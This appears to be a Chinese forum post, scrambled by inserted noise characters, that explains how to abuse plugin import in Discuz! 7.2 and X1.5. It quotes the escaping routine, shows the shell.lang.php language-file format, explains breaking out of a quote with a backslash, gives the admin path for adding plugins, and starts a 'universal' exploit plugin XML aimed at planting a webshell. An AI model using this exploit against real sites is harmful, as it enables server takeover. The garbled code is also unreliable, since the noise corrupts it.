/ I6 [; `; Y) }: G6 w* _- } } else {+ h' T5 Y. V% ]8 @! [
090 x* H4 y3 l6 b
$string = addslashes($string);- Y4 {% s* B2 i! |! H
10
' h6 J' ]$ D" B+ i0 O }5 E. I5 v3 x0 H9 E \
11
5 [" S5 Q* `3 W7 k }) v" K) U" P. i
12" s1 I$ C( |" F+ T" q8 |: [/ a
return $string;
2 K2 ? b' |/ U5 l8 s7 ~13- p6 K D8 b6 {% f' a$ t( P
}# l0 [6 n9 I0 \4 t$ ?
X1.5
) ~ o2 p/ ~- D8 A0 X+ L01
9 H; H% \5 |4 ?3 }function daddslashes($string, $force = 1) {
- Q* d6 _1 O: A) L* Y0 {3 E. K y0 S8 ?02
) E- d2 L# W+ ~0 z) @, N if(is_array($string)) {
1 Q, G ~, K) O' g037 p u5 z9 ]5 C8 n
foreach($string as $key => $val) {
9 H H7 \- E: p, R" m$ }, ~7 U044 {7 {/ F2 j# u5 O' g
unset($string[$key]);
4 t9 ~% k8 i5 D& A9 |5 G05' g* ?# K$ @! \% b9 ?7 \% T, X
//过滤了key8 E- `! Z/ h' {: y0 ], Z
06
1 v u2 J( B# }0 t- W2 K $string[addslashes($key)] = daddslashes($val, $force);
2 I. \0 R8 \! x6 J$ a& V07
! {( R- g0 l5 P- j }8 M1 {) l# t: U: h2 L' o" ^4 q6 t
08
6 _% n9 f" e) T( N' m: O+ P( V } else {0 L2 v* m) U# s4 d6 p
09
5 j+ z1 O: S) b2 }! Z& n $string = addslashes($string);: G( ], V& g$ d$ A
10
7 H7 Y$ C' C+ ^ }% H! s5 m9 | r) x! k, O3 ]
11
8 i7 W& |9 d O6 r3 g9 t return $string;# C L" L z4 j3 l8 K* T: i
120 `0 C* ^0 R0 ?0 W- D. {" {
}& I, ]- H9 O$ A/ |
还是看下shell.lang.php的文件格式.# c( \& d3 o4 ^# y* w% }
1
' {/ Z7 o# o8 u& @<?php
9 R& x1 O5 |4 u5 l) B( e2
& i+ Z8 {; e3 b6 @8 O! D$scriptlang['shell'] = array(
0 J m0 d2 o6 Z) P3# w" I" H; L0 }6 ]* W; b
'a' => '1',, w) C. H$ G4 V0 h& r2 C4 X! \
4. Z. t: p- j8 d* v: r
'b' => '2',
9 U% r0 N+ J5 ?! K+ h* ]( ^3 G5
2 _+ w0 W. [! N: h; x);: m, B6 }2 W: r! v a: G" s" ]
6
$ c, |- }4 a% P3 R) x+ b& j ( w. @1 ~, C; V% Q0 i* q. ?+ @# L
7
1 n7 v8 D/ n$ T! D?>/ y: c( x2 \- f
7.2版本没有过滤Key,所以直接用\废掉单引号.
, y. V6 h# r+ H2 uX1.5,单引号转义后变为\',再被替换一次',还是留下了\$ D" _8 }" r) }/ m) Z \8 ^( N2 ?
6 F; a# P+ `3 [ V. O
而$v在两个版本中过滤相同,比较通用.$ C2 B% ^5 q- F* B2 U2 z
$ f: |6 h7 {$ S% _2 {X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件
! L, y7 }: r* h8 u1 C) S5 w
0 k7 `/ z" d! O a- J& B3 [$v通用Exp:
3 @' B! s. f) x/ R* J: l9 N015 G& A0 B* b" A: |, G
<?xml version="1.0" encoding="ISO-8859-1"?>6 S7 L) f9 B. V' p R4 J
02
& L, u% ~( c: u2 c" M& A<root>4 S1 i5 s0 k. r% y2 N
03' z; P# y" W3 d; X b
<item id="Title"><![CDATA[Discuz! Plugin]]></item>; L' | X" Y( r: ^7 U
04
4 I; |4 V+ O( \6 @3 _/ u <item id="Version"><![CDATA[7.2]]></item>
) Q3 v# O/ M7 P- r05, R) ^. |: j1 p: u
<item id="Time"><![CDATA[2011-03-16 15:57]]></item>4 J6 f/ t( v5 ^0 }' z2 c o
06
* E! G- C" h% w' K <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
" |* M& s9 j& o7 P07, a6 P( S3 o6 D" m Z
<item id="Data">4 V$ O9 j; |7 [; O# x6 \
08
7 k, r+ V( P9 K& l+ e# C. O <item id="plugin">2 i0 ^3 A0 Z/ C3 @, |! N. Z. |
09
: d0 z3 V- p, ^8 R" O <item id="available"><![CDATA[0]]></item>
& I/ c6 w, A. G8 ^9 Y10/ u. Z, R# f5 l1 b; h; L
<item id="adminid"><![CDATA[0]]></item>* D( t" ?, s. U/ e3 _3 C( x1 R+ n
11! r2 V& V) A6 m) U- [, O( k% g
<item id="name"><![CDATA[www]]></item>
* {" Z) ^3 V7 b12
3 P) w8 ?% V/ V ^0 K2 s% m- q <item id="identifier"><![CDATA[shell]]></item>
7 w- O$ _ N2 o5 @: t0 J13
' z! e, L3 P2 v& Z7 m8 Q <item id="description"><![CDATA[]]></item># }# T9 m: t W
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<root>
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如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.
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/ H* j6 L: P# q) v/ n最后的最后,加积分太不靠谱了,管理员能免费送包盐不? |